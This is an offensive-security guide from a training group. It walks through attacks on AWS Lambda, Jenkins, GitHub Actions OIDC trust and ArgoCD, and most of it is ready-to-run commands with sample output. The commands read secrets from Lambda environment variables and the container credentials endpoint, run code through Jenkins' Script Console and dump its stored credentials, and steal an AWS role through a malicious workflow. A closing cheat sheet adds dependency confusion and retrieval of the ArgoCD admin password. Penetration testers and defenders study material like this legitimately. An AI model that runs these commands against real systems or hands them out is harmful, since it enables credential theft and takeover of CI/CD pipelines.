



◆ OFFENSIVE SECURITY SERIES ◆

SERVERLESS & CI/CD ATTACKS

Lambda, GitHub Actions, Jenkins, ArgoCD & Supply Chain

Lambda · GitHub Actions · Jenkins · OIDC · ArgoCD · Supply Chain

Lambda Env

Container Creds

Jenkins RCE

Cred Dump

OIDC Abuse

GH Injection

ArgoCD

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is produced by RedTeamGarage (RTG) for educational purposes only.
All techniques must ONLY be used on systems you own or have explicit written
authorisation to test. RTG assumes zero liability for any misuse of this material.

**TABLE OF CONTENTS**

SERVERLESS & CI/CD ATTACKS — Lambda, GitHub Actions, Jenkins, ArgoCD & Supply Chain

01.	LAMBDA — ENV VAR SECRETS + CONTAINER CRED
02.	JENKINS — UNAUTH RCE + CREDENTIAL DUMP
03.	GITHUB ACTIONS — OIDC TRUST MISCONFIGURATION
04.	SERVERLESS & CI/CD CHEAT SHEET



01 — LAMBDA ASSESSMENT

Env Secrets + Container Creds

```
Lambda — Env Var Secrets + Container Creds

# AWS Lambda — check for secrets in environment variables
$ aws lambda list-functions --profile stolen --query "Functions[*].[FunctionName,Role]" --output table
-----
|                               ListFunctions                               |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+
| api-handler                    | arn:aws:iam::123456789012:role/AdminRole |
| user-processor                 | arn:aws:iam::123456789012:role/AdminRole |
| payment-webhook               | arn:aws:iam::123456789012:role/LambdaRole |
+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+

$ aws lambda get-function-configuration --function-name api-handler --profile stolen --query "Environment.Variables"
{
  "DB_HOST": "prod-db.cluster.us-east-1.rds.amazonaws.com",
  "DB_PASS": "LambdaDbP@ss2024!",
  "STRIPE_KEY": "sk_live_5lAbc123XYZdef456GHIjkl789",
  "JWT_SECRET": "lambda_jwt_signing_secret_prod_2024"
}

# Lambda container credentials endpoint (if SSRF from Lambda)
$ curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
{"RoleArn":"arn:aws:iam::123456789012:role/AdminRole","AccessKeyId":"ASIAIOSFODNN7LAMBDA","SecretAccessKey":"LambdaExecRoleSecret123","Token":"AQoXnyc4...", "Expiration":"2024-01-15T19:00:00Z"}
```

Figure: Lambda env vars expose DB password and Stripe key; container creds endpoint returns AdminRole token



02 — JENKINS

Unauth RCE + Cred Dump

```
Jenkins - Unauthenticated RCE + Credential Dump

# Jenkins - check for unauthenticated access
(kali)-[~]
kali $ curl -s http://jenkins.target.com:8080/api/json?pretty=true | python3 -m json.tool | grep -E "description|url|jobs" | head -10
"description": "Production Jenkins",
"url": "http://jenkins.target.com:8080/",
"jobs": [{"name": "Deploy-Prod", "url": "http://jenkins.target.com:8080/job/Deploy-Prod/"},
# Unauthenticated Jenkins access confirmed!

# Exploit Script Console - RCE as jenkins user
(kali)-[~]
kali $ curl -X POST "http://admin:admin@jenkins.target.com:8080/scriptText" --data-urlencode "script=println('id'.execute().text)"
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)

# Dump all stored credentials
(kali)-[~]
kali $ curl -X POST "http://admin:admin@jenkins.target.com:8080/scriptText" --data-urlencode "script=import com.cloudbees.plugins.credentials.*; import jenkins.model.*; CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials.class, Jenkins.instance).each { println it.id + ' -> ' + it.username + ':' + it.password }"
github-deploy -> deploy_user:ghp_AbCdEfGhIjKlMnOpQrStUvWxYz12345678
aws-prod -> AKIAIOSFODNN7JENKINS:JenkinsAwsSecretKey123XYZabc
dockerhub -> dockeruser:DockeR@bP@ss2024!
```

Figure: Jenkins default creds, Script Console RCE, credential dump reveals GitHub token and AWS keys



03 — GITHUB ACTIONS

OIDC Trust Misconfiguration

```

GitHub Actions – OIDC Trust Misconfiguration

# Check GitHub Actions OIDC trust policy – is it too broad?
(kali)-[~]
kali $ aws iam get-role --role-name GitHubActionsRole --query "Role.AssumeRolePolicyDocument" --profile stolen
{
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringLike": {
        "token.actions.githubusercontent.com:sub": "repo*:ref:refs/heads/*"
      }
    }
  }]
}
# "repo:*" = ANY GitHub repo can assume this role!

# Malicious GitHub Actions workflow to steal OIDC token
# .github/workflows/steal.yml
# on: push
# jobs:
#   steal:
#     runs-on: ubuntu-latest
#     permissions:
#       id-token: write
#     steps:
#       - uses: aws-actions/configure-aws-credentials@v4
#         with:
#           role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
#       - run: aws iam list-users && aws s3 ls

```

Figure: OIDC trust accepts any GitHub repo — malicious workflow from any repo assumes AWS admin role



04 — CHEAT SHEET

Quick Reference

Lambda list	<code>aws lambda list-functions --output table</code>
Lambda env vars	<code>aws lambda get-function-configuration --function-name NAME (check Environment.Variables)</code>
Lambda container creds	<code>curl -s http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</code>
Lambda download code	<code>URL=\$(aws lambda get-function --function-name NAME --query "Code.Location" -o text) && curl -o func.zip "\$URL"</code>
Lambda invoke	<code>aws lambda invoke --function-name NAME --payload '{"key":"val"}' out.json</code>
Jenkins RCE	<code>POST /scriptText with Groovy: println("id".execute().text)</code>
Jenkins cred dump	<code>Groovy: CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials.class, Jenkins.instance).each{println it.id+' '+it.password}</code>
Jenkins AWS creds	<code>Groovy: com.cloudbees.jenkins.plugins.awscredentials -- list AWSAccessKeyId + SecretKey</code>
GitHub OIDC check	<code>aws iam get-role --role-name GitHubActionsRole (check sub condition – should NOT be repo:*)</code>
GH Actions injection	<code>Dangerous: pull_request_target + checkout \${{ github.event.pull_request.head.sha }}</code>
GH workflow secrets	<code>grep -r "secrets\" .github/workflows/</code>
ArgoCD default creds	<code>kubectl get secret argocd-initial-admin-secret -n argocd -o jsonpath="{.data.password}" base64 -d</code>
SQS injection	<code>aws sqs send-message --queue-url URL --message-body '{"path":"/etc/passwd"}'</code>
Dependency confusion	<code>Upload package with same name as internal package to public PyPI/npm (higher version number)</code>
Dockerfile secrets	<code>grep -rn "ENV.*KEY\ ENV.*SECRET\ ENV.*PASSWORD" Dockerfile</code>
Container scan	<code>trivy image TARGET_IMAGE:latest</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.